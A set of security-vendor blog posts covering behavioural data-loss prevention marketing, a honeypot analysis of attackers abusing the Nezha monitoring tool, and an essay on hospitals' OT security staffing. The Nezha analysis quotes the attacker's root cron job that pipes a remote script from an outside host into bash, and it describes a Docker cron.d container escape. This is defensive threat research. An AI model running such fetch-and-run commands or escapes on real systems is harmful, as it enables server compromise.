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April 15, 2025

Why Data Classification Isn’t Enough to Prevent Data Loss

In a world of growing data volume and diversity, protecting and keeping track of your organization’s sensitive information is increasingly complex – particularly when 63% of breaches stem from malicious insiders or human error. This blog explores how security teams can achieve visibility beyond the limits of data classification, without adding to the burden of data management.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
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15
Apr 2025

Why today’s data is fundamentally difficult to protect

Data isn’t what it used to be. It’s no longer confined to neat rows in a database, or tucked away in a secure on-prem server. Today, sensitive information moves freely between cloud platforms, SaaS applications, endpoints, and a globally distributed workforce – often in real time. The sheer volume and diversity of modern data make it inherently harder to monitor, classify, and secure. And the numbers reflect this challenge – 63% of breaches stem from malicious insiders or human error.

This complexity is compounded by an outdated reliance on manual data management. While data classification remains critical – particularly to ensure compliance with regulations like GDPR or HIPAA – the burden of managing this data often falls on overstretched security teams. Security teams are expected to identify, label, and track data across sprawling ecosystems, which can be time-consuming and error-prone. Even with automation, rigid policies that depend on pre-defined data classification miss the mark.

From a data protection perspective, if manual or basic automated classification is the sole methodology for preventing data loss, critical data will likely slip through the cracks. Security teams are left scrambling to fill the gaps, facing compliance risks and increasing operational overhead. Over time, the hidden costs of these inefficiencies pile up, draining resources and reducing the effectiveness of your entire security posture.

What traditional data classification can’t cover

Data classification plays an important role in data loss prevention, but it's only half the puzzle. It’s designed to spot known patterns and apply labels, yet the most common causes of data breaches don’t follow rules. They stem from something far harder to define: human behavior.

When Darktrace began developing its data loss detection capabilities, the question wasn’t what data to protect — it was how to understand the people using it. The numbers pointed clearly to where AI could make the biggest difference: 22% of email data breaches stem directly from user error, while malicious insider threats remain the most expensive, costing organizations an average of $4.99 million per incident.

Data classification is blind to nuance – it can’t grasp intent, context, or the subtle red flags that often precede a breach. And no amount of labeling, policy, or training can fully account for the reality that humans make mistakes. These problems require a system that sees beyond the data itself — one that understands how it’s being used, by whom, and in what context. That’s why Darktrace leans into its core strength: detecting the subtle symptoms of data loss by interpreting human behavior, not just file labels.

Achieving autonomous data protection with behavioral AI

Rather than relying on manual processes to understand what’s important, Darktrace uses its industry-leading AI to learn how your organization uses data — and spot when something looks wrong.

Its understanding of business operations allows it to detect subtle anomalies around data movement for your use cases, whether that’s a misdirected email, an insecure cloud storage link, or suspicious activity from an insider. Crucially, this detection is entirely autonomous, with no need for predefined rules or static labels.

Darktrace uses its contextual understanding of each user to stop all types of sensitive or misdirected data from leaving the organization
Fig 1: Darktrace uses its contextual understanding of each user to stop all types of sensitive or misdirected data from leaving the organization

Darktrace / EMAIL’s DLP add-on continuously learns in real time, enabling:

  • Automatic detection: Identifies risky data behavior to catch threats that traditional approaches miss – from human error to sophisticated insider threats.
  • A dynamic range of actions: Darktrace always aims to avoid business disruption in its blocking actions, but this can be adjusted according to the unique risk appetite of each customer – taking the most appropriate response for that business from a whole scale of possibilities.
  • Enhanced context: While Darktrace doesn’t require sensitivity data labeling, it integrates with Microsoft Purview to ingest sensitivity labels and enrich its understanding of the data – for even more accurate decision-making.

Beyond preventing data loss, Darktrace uses DLP activity to enhance its contextual understanding of the user itself. In other words, outbound activity can be a useful symptom in identifying a potential account compromise, or can be used to give context to that user’s inbound activity. Because Darktrace sees the whole picture of a user across their inbound, outbound, and lateral mail, as well as messaging (and into collaboration tools with Darktrace / IDENTITY), every interaction informs its continuous learning of normal.

With Darktrace, you can achieve dynamic data loss prevention for the most challenging human-related use cases – from accidental misdirected recipients to malicious insiders – that evade detection from manual classification. So don’t stand still on data protection – make the switch to autonomous, adaptive DLP that understands your business, data, and people.

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Interested in finding out more?

Read the full solution brief to see how Darktrace's AI-driven approach to DLP stops data loss across email and Teams

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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